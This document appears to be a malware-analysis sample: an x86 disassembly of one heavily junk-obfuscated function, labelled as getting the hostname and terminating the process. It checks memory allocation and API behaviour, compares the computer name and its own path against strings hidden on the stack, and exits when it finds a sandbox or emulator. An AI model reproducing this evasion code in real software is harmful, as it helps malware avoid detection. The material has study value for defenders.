Function at 0xd1d445
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov ecx, ecx
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
pushfd
push eax
add esp, 4
popfd
test eax, eax
pushfd
xor esi, 0x8603732c
xor esi, 0x8603732c
popfd
je 0xd1e19e
pushfd
xor edi, 0xf55286c9
xor edi, 0xf55286c9
popfd
mov dword [ebp - 0x41c], eax
pushfd
xor ecx, 0xba7041dd
xor ecx, 0xba7041dd
popfd
xchg ecx, ecx
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
pushfd
inc esi
dec esi
popfd
push eax
pop eax
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pushfd
inc ebx
dec ebx
popfd
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
xchg edx, edx
xchg edx, edx
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
xchg esi, ecx
xchg ecx, esi
xchg ecx, ecx
cmp eax, 0x400
xchg esi, esi
jne 0xd1e19e
pushfd
inc esi
dec esi
popfd
xchg ecx, ebx
xchg ebx, ecx
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
xchg edx, edx
xchg edi, esi
xchg esi, edi
test eax, eax
pushfd
xor edi, 0x6ddd7a56
xor edi, 0x6ddd7a56
popfd
je 0xd1e19e
pushfd
push ebx
add esp, 4
popfd
mov dword [ebp - 0x20e], 0x104
pushfd
push esi
add esp, 4
popfd
lea eax, [ebp - 0x313]
xchg ecx, ecx
pushfd
push 0x195b998a
add esp, 4
popfd
lea ebx, [ebp - 0x20e]
push esi
pop esi
push edi
push eax
pop eax
pop edi
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
pushfd
push eax
add esp, 4
popfd
test eax, eax
push edx
push ebx
pop ebx
pop edx
je 0xd1d8a7
xchg ecx, ecx
lea eax, [ebp - 0x418]
nop
mov ebx, 0x61
pushfd
push 0xb6d88539
add esp, 4
popfd
sub bl, 0x13
xchg ebx, edx
xchg edx, ebx
xchg ebx, ebx
mov byte [eax], bl
mov ecx, ecx
mov eax, eax
add bl, 0x18
pushfd
inc edx
dec edx
popfd
xchg ebx, esi
xchg esi, ebx
mov byte [eax + 1], bl
pushfd
xor ecx, 0x7647f165
xor ecx, 0x7647f165
popfd
pushfd
push edi
add esp, 4
popfd
sub bl, 0xc
xchg ebx, ebx
mov byte [eax + 2], bl
pushfd
push edx
add esp, 4
popfd
add bl, 0x1a
pushfd
push 0xb853abd4
add esp, 4
popfd
mov byte [eax + 3], bl
push esi
pop esi
push ecx
push edi
pop edi
pop ecx
sub bl, 0x2e
pushfd
xor eax, 0xb66d41fe
xor eax, 0xb66d41fe
popfd
mov byte [eax + 4], bl
pushfd
push esi
add esp, 4
popfd
add bl, 0x1c
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 5], bl
push eax
pop eax
sub bl, 0x12
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 6], bl
pushfd
xor edi, 0x268c1ccb
xor edi, 0x268c1ccb
popfd
add bl, 0x16
mov esi, esi
xchg edx, esi
xchg esi, edx
mov byte [eax + 7], bl
pushfd
push 0x11129aa7
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
sub bl, 0x1e
pushfd
push 0x63721117
add esp, 4
popfd
mov byte [eax + 8], bl
push edi
pop edi
mov byte [eax + 9], 0
pushfd
xor edi, 0xfeb2ce4e
xor edi, 0xfeb2ce4e
popfd
lea ebx, [ebp - 0x313]
pushfd
push 0x4d654cce
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
xchg edi, edx
xchg edx, edi
xchg ecx, esi
xchg esi, ecx
test eax, eax
pushfd
push 0xaba137da
add esp, 4
popfd
mov esi, esi
je 0xd1e19e
pushfd
inc ebx
dec ebx
popfd
pushfd
push edx
add esp, 4
popfd
lea eax, [ebp - 0x418]
xchg esi, eax
xchg esi, eax
mov ebx, 0x61
mov edx, edx
pushfd
push edi
add esp, 4
popfd
sub bl, 0x1c
mov ecx, ecx
mov byte [eax], bl
pushfd
xor edi, 0x92c88be6
xor edi, 0x92c88be6
popfd
push eax
push edx
pop edx
pop eax
add bl, 7
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 1], bl
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x684d7f63
add esp, 4
popfd
sub bl, 3
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 2], bl
pushfd
inc edx
dec edx
popfd
sub bl, 6
pushfd
xor edx, 0xcaa83ed2
xor edx, 0xcaa83ed2
popfd
nop
mov byte [eax + 3], bl
pushfd
push 0xde69d44f
add esp, 4
popfd
add bl, 0x17
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 4], bl
xchg edx, edx
pushfd
push 0x4851ce16
add esp, 4
popfd
mov byte [eax + 5], 0
pushfd
push eax
add esp, 4
popfd
lea ebx, [ebp - 0x313]
pushfd
push edx
add esp, 4
popfd
pushfd
xor eax, 0x974302d6
xor eax, 0x974302d6
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
push ecx
add esp, 4
popfd
push edi
pop edi
test eax, eax
mov ebx, ebx
je 0xd1e19e
xchg edi, edx
xchg edx, edi
lea eax, [ebp - 0x418]
mov eax, eax
mov ebx, 0x61
pushfd
xor eax, 0xb92114ea
xor eax, 0xb92114ea
popfd
add bl, 0x13
push edx
push esi
pop esi
pop edx
nop
mov byte [eax], bl
xchg esi, edx
xchg edx, esi
mov esi, esi
add bl, 6
pushfd
push 0x861db6cf
add esp, 4
popfd
push esi
push ecx
pop ecx
pop esi
mov byte [eax + 1], bl
pushfd
xor esi, 0x923ddc69
xor esi, 0x923ddc69
popfd
xchg esi, eax
xchg esi, eax
mov byte [eax + 2], 0
mov esi, esi
mov edx, edx
lea ebx, [ebp - 0x313]
mov ecx, ecx
mov eax, eax
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc edx
dec edx
popfd
pushfd
push 0x79bae8d2
add esp, 4
popfd
test eax, eax
xchg edi, edi
je 0xd1e19e
xchg edx, edx
mov edx, edx
lea eax, [ebp - 0x418]
mov ebx, ebx
mov ebx, 0x61
push eax
push ecx
pop ecx
pop eax
sub bl, 0x14
xchg esi, ecx
xchg ecx, esi
mov byte [eax], bl
push edx
push esi
pop esi
pop edx
sub bl, 0xc
pushfd
push 0x4f122034
add esp, 4
popfd
mov byte [eax + 1], bl
mov ecx, ecx
add bl, 8
xchg ecx, edx
xchg edx, ecx
mov byte [eax + 2], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 5
pushfd
xor ecx, 0x53f00a7d
xor ecx, 0x53f00a7d
popfd
xchg ebx, edx
xchg edx, ebx
mov byte [eax + 3], bl
pushfd
xor esi, 0x6c093da7
xor esi, 0x6c093da7
popfd
mov byte [eax + 4], 0
pushfd
inc esi
dec esi
popfd
pushfd
inc esi
dec esi
popfd
lea ebx, [ebp - 0x313]
nop
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
push 0xa01c0a98
add esp, 4
popfd
test eax, eax
push esi
push ecx
pop ecx
pop esi
xchg ebx, ebx
je 0xd1e19e
pushfd
push eax
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
mov ebx, ebx
lea eax, [ebp - 0x20a]
xchg esi, eax
xchg esi, eax
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
pushfd
xor eax, 0xbe7d6dd5
xor eax, 0xbe7d6dd5
popfd
cmp eax, 0
push edi
pop edi
push esi
pop esi
jle 0xd1e184
pushfd
push 0x95a2ff65
add esp, 4
popfd
push esi
push edx
pop edx
pop esi
lea eax, [ebp - 0x20a]
push eax
push ebx
pop ebx
pop eax
pushfd
push edx
add esp, 4
popfd
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
pushfd
push 0xfd0cecc1
add esp, 4
popfd
lea ebx, [ebp - 0x105]
push ebx
pop ebx
xchg edi, edi
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
pushfd
push 0xdd1ff9cf
add esp, 4
popfd
pushfd
xor edx, 0xd39c7bd1
xor edx, 0xd39c7bd1
popfd
lea eax, [ebp - 0x418]
pushfd
inc edx
dec edx
popfd
xchg edi, edi
mov ebx, 0x61
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x6b2d1b1e
add esp, 4
popfd
sub bl, 0x1e
pushfd
push 0x8fb04e39
add esp, 4
popfd
mov byte [eax], bl
pushfd
inc edi
dec edi
popfd
sub bl, 9
pushfd
xor edx, 0x87e3d32b
xor edx, 0x87e3d32b
popfd
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 1], bl
xchg ebx, esi
xchg esi, ebx
pushfd
xor esi, 0xb3a38d8a
xor esi, 0xb3a38d8a
popfd
add bl, 0x22
push edx
pop edx
mov byte [eax + 2], bl
xchg esi, esi
pushfd
inc esi
dec esi
popfd
sub bl, 0x18
xchg edi, edx
xchg edx, edi
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 3], bl
nop
pushfd
xor edx, 0x93ab38d8
xor edx, 0x93ab38d8
popfd
add bl, 0x2b
xchg ecx, edx
xchg edx, ecx
mov ebx, ebx
mov byte [eax + 4], bl
mov eax, eax
pushfd
xor edi, 0xba3d2ea
xor edi, 0xba3d2ea
popfd
sub bl, 0xc
xchg esi, esi
mov byte [eax + 5], bl
pushfd
push 0x4d78ac23
add esp, 4
popfd
push ecx
pop ecx
add bl, 0x12
xchg edx, edx
mov byte [eax + 6], bl
pushfd
push ecx
add esp, 4
popfd
xchg edi, esi
xchg esi, edi
sub bl, 8
pushfd
push esi
add esp, 4
popfd
pushfd
push 0xbaea209d
add esp, 4
popfd
mov byte [eax + 7], bl
mov esi, esi
pushfd
push edi
add esp, 4
popfd
sub bl, 8
pushfd
xor esi, 0x6f47f333
xor esi, 0x6f47f333
popfd
push edx
push ecx
pop ecx
pop edx
mov byte [eax + 8], bl
xchg ebx, ebx
add bl, 9
xchg edi, eax
xchg edi, eax
mov byte [eax + 9], bl
nop
add bl, 6
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xa], bl
push esi
push ebx
pop ebx
pop esi
dec bl
pushfd
push 0xf5669981
add esp, 4
popfd
push edi
pop edi
mov byte [eax + 0xb], bl
push edi
push eax
pop eax
pop edi
pushfd
push 0x8f83ad69
add esp, 4
popfd
sub bl, 0x53
pushfd
inc edi
dec edi
popfd
pushfd
push 0x86b02baa
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
inc ebx
dec ebx
popfd
add bl, 0x41
nop
mov byte [eax + 0xd], bl
push ebx
pop ebx
xchg ebx, eax
xchg ebx, eax
add bl, 0xd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0xe], bl
pushfd
xor ecx, 0xe76ea50d
xor ecx, 0xe76ea50d
popfd
mov ecx, ecx
sub bl, 0xa
pushfd
push 0x678b258f
add esp, 4
popfd
mov eax, eax
mov byte [eax + 0xf], bl
push ecx
pop ecx
sub bl, 0x44
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0x10], bl
push edx
pop edx
pushfd
push 0x126d8ee8
add esp, 4
popfd
add bl, 0x33
pushfd
push 0x81a17cd7
add esp, 4
popfd
mov byte [eax + 0x11], bl
pushfd
push 0x81e6b3f1
add esp, 4
popfd
add bl, 0x12
push ebx
push edi
pop edi
pop ebx
mov byte [eax + 0x12], bl
pushfd
xor eax, 0x23ac5574
xor eax, 0x23ac5574
popfd
add bl, 0xf
xchg edx, ecx
xchg ecx, edx
mov byte [eax + 0x13], bl
pushfd
xor edi, 0x53147c97
xor edi, 0x53147c97
popfd
mov byte [eax + 0x14], bl
mov ebx, ebx
pushfd
push 0x13afa171
add esp, 4
popfd
sub bl, 0xb
pushfd
inc esi
dec esi
popfd
push ebx
pop ebx
mov byte [eax + 0x15], bl
pushfd
xor edi, 0xb577212f
xor edi, 0xb577212f
popfd
add bl, 5
push edi
pop edi
mov byte [eax + 0x16], bl
xchg ecx, edi
xchg edi, ecx
pushfd
push 0x53c6d643
add esp, 4
popfd
sub bl, 7
pushfd
push edi
add esp, 4
popfd
push ebx
push edx
pop edx
pop ebx
mov byte [eax + 0x17], bl
pushfd
push 0xc403f6ee
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
add bl, 0xc
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0x18], bl
xchg edx, eax
xchg edx, eax
sub bl, 0x17
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 0x19], bl
push edi
push ebx
pop ebx
pop edi
sub bl, 0x1b
push ebx
pop ebx
pushfd
xor esi, 0xad2644c7
xor esi, 0xad2644c7
popfd
mov byte [eax + 0x1a], bl
pushfd
inc ebx
dec ebx
popfd
add bl, 0x23
mov ebx, ebx
mov eax, eax
mov byte [eax + 0x1b], bl
push eax
pop eax
add bl, 9
push esi
push edx
pop edx
pop esi
push ecx
push eax
pop eax
pop ecx
mov byte [eax + 0x1c], bl
push esi
push edi
pop edi
pop esi
pushfd
inc eax
dec eax
popfd
sub bl, 4
pushfd
push edx
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x1d], bl
xchg ecx, ecx
pushfd
xor ebx, 0x7ede999e
xor ebx, 0x7ede999e
popfd
add bl, 5
push eax
push ebx
pop ebx
pop eax
mov edi, edi
mov byte [eax + 0x1e], bl
pushfd
xor ecx, 0xf2ae8cfc
xor ecx, 0xf2ae8cfc
popfd
pushfd
inc ebx
dec ebx
popfd
sub bl, 5
xchg edx, eax
xchg edx, eax
pushfd
push 0xf55e9348
add esp, 4
popfd
mov byte [eax + 0x1f], bl
xchg ecx, ebx
xchg ebx, ecx
pushfd
push edx
add esp, 4
popfd
add bl, 0xa
xchg ebx, ebx
pushfd
push 0x79161bce
add esp, 4
popfd
mov byte [eax + 0x20], bl
push ecx
pop ecx
pushfd
inc ebx
dec ebx
popfd
inc bl
mov esi, esi
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0x21], bl
nop
sub bl, 2
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x22], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x11
mov edi, edi
mov byte [eax + 0x23], bl
pushfd
push edx
add esp, 4
popfd
add bl, 0x13
xchg edx, ecx
xchg ecx, edx
mov byte [eax + 0x24], bl
push edi
pop edi
sub bl, 5
mov esi, esi
nop
mov byte [eax + 0x25], bl
pushfd
push 0x1cb85962
add esp, 4
popfd
add bl, 3
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0x26], bl
pushfd
push 0xe7831e9b
add esp, 4
popfd
sub bl, 0x16
push eax
pop eax
mov byte [eax + 0x27], bl
xchg esi, eax
xchg esi, eax
sub bl, 0xf
mov ecx, ecx
mov byte [eax + 0x28], bl
push edi
push edx
pop edx
pop edi
push esi
push edx
pop edx
pop esi
add bl, 0x2c
mov eax, eax
mov byte [eax + 0x29], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0x59
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0x2a], bl
pushfd
push 0xcdeefd80
add esp, 4
popfd
add bl, 0x24
nop
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0x2b], bl
pushfd
push ecx
add esp, 4
popfd
push ebx
push esi
pop esi
pop ebx
add bl, 0x2b
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0x2c], bl
pushfd
push edi
add esp, 4
popfd
xchg edx, esi
xchg esi, edx
sub bl, 0xc
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0x2d], bl
mov eax, eax
push edx
push esi
pop esi
pop edx
add bl, 0x12
push esi
pop esi
pushfd
push 0x32e7586e
add esp, 4
popfd
mov byte [eax + 0x2e], bl
pushfd
push esi
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
sub bl, 8
pushfd
inc ecx
dec ecx
popfd
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 0x2f], bl
mov ecx, ecx
sub bl, 8
push edi
pop edi
mov byte [eax + 0x30], bl
pushfd
push 0x1a0852d6
add esp, 4
popfd
add bl, 9
pushfd
inc esi
dec esi
popfd
push edx
push ecx
pop ecx
pop edx
mov byte [eax + 0x31], bl
pushfd
inc edx
dec edx
popfd
xchg esi, edi
xchg edi, esi
add bl, 6
pushfd
xor edi, 0x68efb5f
xor edi, 0x68efb5f
popfd
mov byte [eax + 0x32], bl
pushfd
xor esi, 0xba168397
xor esi, 0xba168397
popfd
xchg ecx, edx
xchg edx, ecx
dec bl
nop
pushfd
push 0x1a859c07
add esp, 4
popfd
mov byte [eax + 0x33], bl
push ecx
pop ecx
sub bl, 0x17
pushfd
xor ecx, 0x5729c63
xor ecx, 0x5729c63
popfd
mov byte [eax + 0x34], bl
pushfd
inc ecx
dec ecx
popfd
add bl, 0x11
push esi
push edx
pop edx
pop esi
pushfd
push 0x30076afe
add esp, 4
popfd
mov byte [eax + 0x35], bl
pushfd
xor esi, 0x32d37da3
xor esi, 0x32d37da3
popfd
xchg esi, ebx
xchg ebx, esi
add bl, 0xa
pushfd
xor esi, 0xd1950af
xor esi, 0xd1950af
popfd
mov byte [eax + 0x36], bl
pushfd
push 0xdee60810
add esp, 4
popfd
sub bl, 4
pushfd
push 0xb066664d
add esp, 4
popfd
pushfd
push 0xa173b3be
add esp, 4
popfd
mov byte [eax + 0x37], bl
xchg ebx, eax
xchg ebx, eax
sub bl, 6
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0x38], bl
pushfd
push esi
add esp, 4
popfd
add bl, 3
pushfd
xor ebx, 0xc3dfbe66
xor ebx, 0xc3dfbe66
popfd
push edx
push edi
pop edi
pop edx
mov byte [eax + 0x39], bl
pushfd
xor edi, 0xf43c4c4f
xor edi, 0xf43c4c4f
popfd
pushfd
inc eax
dec eax
popfd
sub bl, 4
pushfd
push 0xc0e04fbb
add esp, 4
popfd
pushfd
xor edx, 0x696c8a7f
xor edx, 0x696c8a7f
popfd
mov byte [eax + 0x3a], bl
push esi
pop esi
pushfd
push esi
add esp, 4
popfd
sub bl, 0x3e
pushfd
xor esi, 0x6d0dadd7
xor esi, 0x6d0dadd7
popfd
xchg edi, ecx
xchg ecx, edi
mov byte [eax + 0x3b], bl
push edi
pop edi
mov esi, esi
add bl, 0x37
xchg ebx, edx
xchg edx, ebx
mov byte [eax + 0x3c], bl
pushfd
xor ecx, 0x4e744875
xor ecx, 0x4e744875
popfd
add bl, 0x13
pushfd
xor edx, 0xb0988ed7
xor edx, 0xb0988ed7
popfd
mov byte [eax + 0x3d], bl
pushfd
xor eax, 0x40e63712
xor eax, 0x40e63712
popfd
sub bl, 0x13
mov ebx, ebx
pushfd
push 0xe170d3e5
add esp, 4
popfd
mov byte [eax + 0x3e], bl
mov edx, edx
mov byte [eax + 0x3f], 0
pushfd
push 0x98858bde
add esp, 4
popfd
lea ebx, [ebp - 0x20a]
xchg edx, edx
push esi
push edx
pop edx
pop esi
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
push edx
push eax
pop eax
pop edx
test eax, eax
pushfd
push 0x812cc67b
add esp, 4
popfd
je 0xd1e19e
pushfd
inc esi
dec esi
popfd
xchg ebx, ebx
lea eax, [ebp - 0x418]
pushfd
push 0x317f015d
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0x61
pushfd
xor esi, 0x67297f64
xor esi, 0x67297f64
popfd
pushfd
xor edx, 0xa08c3271
xor edx, 0xa08c3271
popfd
sub bl, 0x1e
mov ecx, ecx
pushfd
xor eax, 0xeebf84e2
xor eax, 0xeebf84e2
popfd
mov byte [eax], bl
pushfd
xor ebx, 0x6ca93d3f
xor ebx, 0x6ca93d3f
popfd
xchg edi, edi
sub bl, 9
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
push ecx
add esp, 4
popfd
add bl, 0x22
push ebx
push edx
pop edx
pop ebx
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 2], bl
push ebx
push eax
pop eax
pop ebx
sub bl, 9
mov edx, edx
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 3], bl
mov esi, esi
sub bl, 0xe
pushfd
inc eax
dec eax
popfd
mov byte [eax + 4], bl
pushfd
xor edi, 0xb2c19003
xor edi, 0xb2c19003
popfd
add bl, 7
mov edi, edi
mov byte [eax + 5], bl
pushfd
inc esi
dec esi
popfd
mov edx, edx
sub bl, 6
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 6], bl
push eax
push ecx
pop ecx
pop eax
xchg edi, edi
sub bl, 0x18
xchg edx, edx
push edi
pop edi
mov byte [eax + 7], bl
pushfd
push esi
add esp, 4
popfd
xchg edi, eax
xchg edi, eax
add bl, 0x17
xchg edi, eax
xchg edi, eax
pushfd
xor ebx, 0x6a7a75e7
xor ebx, 0x6a7a75e7
popfd
mov byte [eax + 8], bl
push ecx
push eax
pop eax
pop ecx
pushfd
push 0x7d447851
add esp, 4
popfd
add bl, 0x13
xchg ecx, ecx
push edx
push edi
pop edi
pop edx
mov byte [eax + 9], bl
mov ebx, ebx
sub bl, 0x13
xchg edi, edi
push eax
pop eax
mov byte [eax + 0xa], bl
push ecx
push esi
pop esi
pop ecx
pushfd
push 0x6885976c
add esp, 4
popfd
mov byte [eax + 0xb], 0
push ebx
pop ebx
lea ebx, [ebp - 0x20a]
mov edi, edi
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
xchg esi, eax
xchg esi, eax
xchg edx, ecx
xchg ecx, edx
test eax, eax
xchg ecx, eax
xchg ecx, eax
push edi
pop edi
je 0xd1e19e
push ebx
push esi
pop esi
pop ebx
push ecx
push edx
pop edx
pop ecx
lea eax, [ebp - 0x418]
mov edx, edx
xchg edx, edx
mov ebx, 0x61
xchg edx, ecx
xchg ecx, edx
add bl, 0xc
mov ecx, ecx
mov byte [eax], bl
pushfd
xor edx, 0x88e0c74b
xor edx, 0x88e0c74b
popfd
add bl, 0xc
push ebx
pop ebx
pushfd
push 0xf44facf4
add esp, 4
popfd
mov byte [eax + 1], bl
push eax
push ebx
pop ebx
pop eax
sub bl, 0x18
push ebx
push edx
pop edx
pop ebx
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
push 0xea82830b
add esp, 4
popfd
add bl, 0xf
pushfd
push 0x451683ca
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 4], bl
push esi
push ebx
pop ebx
pop esi
sub bl, 0x42
pushfd
push 0xfe3b4e98
add esp, 4
popfd
mov byte [eax + 5], bl
pushfd
push ebx
add esp, 4
popfd
mov eax, eax
add bl, 0x37
pushfd
push 0xce0b2a25
add esp, 4
popfd
push ebx
pop ebx
mov byte [eax + 6], bl
xchg ebx, ebx
pushfd
inc ecx
dec ecx
popfd
add bl, 0x13
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 7], bl
push esi
pop esi
sub bl, 0x13
xchg ecx, edx
xchg edx, ecx
xchg ebx, edx
xchg edx, ebx
mov byte [eax + 8], bl
xchg edi, edi
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 9], 0
pushfd
push edi
add esp, 4
popfd
push ecx
push eax
pop eax
pop ecx
lea ebx, [ebp - 0x105]
pushfd
push edx
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
push edi
pop edi
test eax, eax
push esi
push edi
pop edi
pop esi
xchg esi, esi
je 0xd1e19e
xchg ecx, eax
xchg ecx, eax
mov ebx, ebx
push eax
push ecx
pop ecx
pop eax
mov ecx, ecx
xor eax, eax
mov edi, edi
pushfd
xor esi, 0xb6cb5fdd
xor esi, 0xb6cb5fdd
popfd
leave
ret
pushfd
inc eax
dec eax
popfd
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]